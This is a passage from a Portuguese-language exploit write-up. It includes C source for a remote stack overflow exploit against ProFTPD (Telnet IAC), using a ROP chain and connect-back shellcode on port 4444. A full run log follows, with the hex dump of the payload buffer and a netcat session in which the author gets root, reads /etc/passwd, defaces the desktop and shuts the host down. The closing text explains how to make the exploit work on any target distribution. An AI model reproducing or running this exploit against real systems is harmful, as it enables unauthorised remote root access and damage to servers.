= MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r; memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr; memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r; memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr; memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+92)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+96)) = p3r; memcpy(buffer+OFFSET+1+PADDING+100, "\x03\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+104)) = byte3_addr; memcpy(buffer+OFFSET+1+PADDING+108, "\x01\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+112)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+116)) = p3r; memcpy(buffer+OFFSET+1+PADDING+120, "\x04\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+124)) = byte4_addr; memcpy(buffer+OFFSET+1+PADDING+128, "\x03\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+132)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+136)) = p3r; memcpy(buffer+OFFSET+1+PADDING+140, "\x07\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+144)) = byte5_addr; memcpy(buffer+OFFSET+1+PADDING+148, "\x01\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+152)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+156)) = p3r; memcpy(buffer+OFFSET+1+PADDING+160, "\x08\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+164)) = byte6_addr; memcpy(buffer+OFFSET+1+PADDING+168, "\x05\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+172)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+176)) = p3r; memcpy(buffer+OFFSET+1+PADDING+180, "\x0d\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+184)) = byte7_addr; memcpy(buffer+OFFSET+1+PADDING+188, "\x01\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+192)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+196)) = p3r; memcpy(buffer+OFFSET+1+PADDING+200, "\x0e\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+204)) = byte8_addr; memcpy(buffer+OFFSET+1+PADDING+208, "\x01\x00\x00\x00", 4); *((u_int *)(buffer+OFFSET+1+PADDING+212)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+216)) = p3r; memcpy(buffer+OFFSET+1+PADDING+220, "\x0f\x00\x00\x10", 4); *((u_int *)(buffer+OFFSET+1+PADDING+224)) = byte9_addr; memcpy(buffer+OFFSET+1+PADDING+228, "\x02\x00\x00\x00", 4); memcpy(buffer+OFFSET+1+PADDING+232, "\x00\x00\x00\x10", 4); memset(buffer+OFFSET+1+PADDING+236, '\x90', 205); memcpy(buffer+OFFSET+1+PADDING+336, shellcode, sizeof(shellcode)-1); memcpy(buffer+OFFSET+1+PADDING+336+sizeof(shellcode)+9, "\x0a\x0d", 2); printf("\n\t Too much 00 bytes + evil buffer:\n\n"); dump(buffer+OFFSET-4, sizeof(buffer)-OFFSET+4); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); printf("\n\t Sending exploit buffer...\n"); write(sockfd, buffer, sizeof(buffer)); close(sockfd); printf("\n\t [+] Done! Enjoy your fucking shell!!!\n"); printf("\n\n\t\t F0rb1dd3n wins!!!"); printf("\n\t\t Flawless Victory\n"); printf("\n █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓"); printf("\n ▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒"); printf("\n ▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░"); printf("\n ░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░"); printf("\n ░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░"); printf("\n ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ "); printf("\n ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ "); printf("\n ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ "); printf("\n ░ ░ ░ ░ ░ ░ ░ ░ ░ "); printf("\n ░ ░ "); printf("\n\n"); } --------------------------------------------------------------------------------------------- Vamos executar ele e ver o que acontece. O shellcode que estou utilizando é um shellcode connect back na porta 4444, então não esqueça de deixar o netcat escutando! let's go hack!!! --------------------------------------------------------------------------------------------- root@kali:~/Studies# gcc exploit_proftpd.c -o exploit_proftpd root@kali:~/Studies# ./exploit_proftpd 192.168.25.18 192.168.25.23 Proftpd Telnet IAC remote stack overflow exploit Writen by: F0rb1dd3n Target: 192.168.25.18 Trying write(2) offset: 0x080532d8 [+] Success on write(2) [+] mmap64() is located at 0x08053d18 [+] memcpy() is located at 0x080536c8 Attempting to read memory of the server... [+] Pop3Ret is located at 0x0805462e [+] Large PopRet is located at 0x08059a09 [+] Byte1 is located at 0x0805a056 [+] Byte2 is located at 0x0805341a [+] Byte3 is located at 0x08053f8b [+] Byte4 is located at 0x080596b3 [+] Byte5 is located at 0x08053314 [+] Byte6 is located at 0x0806a7d8 [+] Byte7 is located at 0x08053c35 [+] Byte8 is located at 0x080532da [+] Byte9 is located at 0x08054535 Building exploit buffer... Too much 00 bytes + evil buffer: 00 00 00 00 ff 41 41 41 41 41 41 41 41 41 41 41 | .....AAAAAAAAAAA 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA 41 41 41 41 41 41 41 18 3d 05 08 09 9a 05 08 00 | AAAAAAA.=....... 00 00 10 00 10 00 00 07 00 00 00 32 00 00 00 ff | ...........2.... ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00 00 00 00 00 00 00 00 00 00 00 c8 36 05 08 2e | ............6... 46 05 08 00 00 00 10 56 a0 05 08 02 00 00 00 c8 | F......V........ 36 05 08 2e 46 05 08 02 00 00 10 1a 34 05 08 01 | 6...F.......4... 00 00 00 c8 36 05 08 2e 46 05 08 03 00 00 10 8b | ....6...F....... 3f 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 04 | ?.......6...F... 00 00 10 b3 96 05 08 03 00 00 00 c8 36 05 08 2e | ............6... 46 05 08 07 00 00 10 14 33 05 08 01 00 00 00 c8 | F.......3....... 36 05 08 2e 46 05 08 08 00 00 10 d8 a7 06 08 05 | 6...F........... 00 00 00 c8 36 05 08 2e 46 05 08 0d 00 00 10 35 | ....6...F......5 3c 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 0e | <.......6...F... 00 00 10 da 32 05 08 01 00 00 00 c8 36 05 08 2e | ....2.......6... 46 05 08 0f 00 00 10 35 45 05 08 02 00 00 00 00 | F......5E....... 00 00 10 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 31 c0 31 db 31 c9 b0 46 cd | .......1.1.1..F. 80 90 90 90 6a 66 58 6a 01 5b 31 c9 51 6a 01 6a | ....jfXj.[1.Qj.j 02 89 e1 cd 80 68 c0 a8 19 17 66 68 11 5c 66 6a | .....h....fh.\fj 02 89 e1 6a 10 51 50 89 e1 89 c6 6a 03 5b 6a 66 | ...j.QP....j.[jf 58 cd 80 87 f3 6a 02 59 b0 3f cd 80 49 79 f9 b0 | X....j.Y.?..Iy.. 0b 31 d2 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | .1.Rh//shh/bin.. 52 53 89 e1 cd 80 90 90 90 90 90 90 90 90 90 90 | RS.............. 0a 0d | .. Sending exploit buffer... [+] Done! Enjoy your fucking shell!!! F0rb1dd3n wins!!! Flawless Victory █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓ ▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒ ▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░ ░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░ ░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░ ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ --------------------------------------------------------------------------------------------- Em outra shell: ----------------------------------------------------------------------------- root@kali:~# nc -lnvp 4444 nc: listening on :: 4444 ... nc: listening on 0.0.0.0 4444 ... nc: connect to 192.168.25.23 4444 from 192.168.25.18 55610 uname -a Linux ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux whoami root ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:e4:38:55 inet addr:192.168.25.18 Bcast:192.168.25.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fee4:3855/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:28011 errors:0 dropped:0 overruns:0 frame:0 TX packets:4889 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2694445 (2.6 MB) TX bytes:1370853 (1.3 MB) Interrupt:19 Base address:0x2024 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:52 errors:0 dropped:0 overruns:0 frame:0 TX packets:52 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:4568 (4.5 KB) TX bytes:4568 (4.5 KB) cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false avahi-autoipd:x:103:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:104:109:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash usbmux:x:106:46:usbmux daemon,,,:/home/usbmux:/bin/false speech-dispatcher:x:107:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:109:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:110:117:RealtimeKit,,,:/proc:/bin/false saned:x:111:118::/home/saned:/bin/false hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:113:120:Gnome Display Manager:/var/lib/gdm:/bin/false neo:x:1000:1000:Matrix,,,:/home/neo:/bin/bash proftpd:x:114:65534::/var/run/proftpd:/bin/false ftp:x:115:65534::/home/ftp:/bin/false echo "hacked by F0rb1dd3n" > /home/neo/Desktop/OWNED cat /home/neo/Desktop/OWNED hacked by F0rb1dd3n shutdown -h now ---------------------------------------------------------------------------------------------- Own3d!!! F0rb1dd3n wins! Agora tudo isso parece tão fácil, não? Hacking é uma arte, basta enchergarmos a beleza na execução dos bytes! Vale ressaltar algumas coisas: Como proposto pelo Kingcope no seu artigo sobre a exploração genérica do nginx para linux systems, podemos utilizar a syscall ioctl() para ler mais memória do servidor com a chamada de write(2). Seria algo assim: -> ioctl plt offset -> endereço "pop pop pop ret" gadget -> argumentos ioctl -> write(2) plt offset -> argumentos para write(2) Para efetuarmos um exploit mais genérico, podemos tentar descobrir o endereço de write(2) fazendo bruteforce em um endereço de memória inicial incrementando em 4. Quando recebermos os bytes, é pq achamos write(2). Em cada chamada de biblioteca há uma instrução "jmp" que aponta para a GOT (Global Offset Table). Com os bytes \xff\x25 podemos verificar o ponteiro para a GOT (que são os próximos 4 bytes depois de \xff\x25). Com esse ponteiro podemos passar como parâmetro de buffer para uma chamada write(2) para poder ler os bytes da biblioteca chamada pelo processo. Podemos extrair o prefixo das funções mmap64 e memcpy usando o "objdump" ou debuggando a aplicação, então basta fazer a mesma coisa que fizemos antes: comparar. Comparando os bytes do prefixo das funções com os bytes das bibliotecas lidos, conseguimos achar o endereço correto de mmap64 e memcpy (assim como fizemos para acharmos os gadgets de pop pop pop ret). Essa é uma maneira eficaz. Uma outra forma de encontrarmos os endereços corretos de mmap64 e memcpy é comparando os bytes dos prefixos das chamadas das funções pelo processo da aplicação em busca de acharmos a instrução de chamada de mmap64 e memcpy (call "address"). Isso também é outra maneira de encontrarmos os reais offsets das funções. Isso pode parecer um pouco complicado, mas ao debugar a aplicação isso se torna mais claro. Ou seja, é possivel fazer um exploit generalizado que poderá rodar em qualquer distribuição alvo. Assim asseguramos que teremos sempre sucesso na exploração desta falha. Então é isso pessoal! Espero que o leitor tenha gostado e ampliado seus conhecimentos. Qualquer dúvida, podem entrar em contato no meu e-mail f0rb1@hotmail.com. Um abraço, F0rb1dd3n |=-------------------------------------------------------------------------------------=| Referências: Scraps of notes on remote stack overflow exploitation - by pi3 http://phrack.org/issues/67/13.html#article Uncovering Zero-Days and advanced fuzzing - by Kingcope http://www.exploit-db.com/docs/18924.pdf nginx Exploit Documentation About a Generic Way to Exploit Linux Targets - by Kingcope http://www.exploit-db.com/docs/27074.pdf Return Oriented Programming and ROPgadget tool - by Jonathan Salwan http://shell-storm.org/blog/Return-Oriented-Programming-and-ROPgadget-tool/ |=-------------------------------------------------------------------------------------=|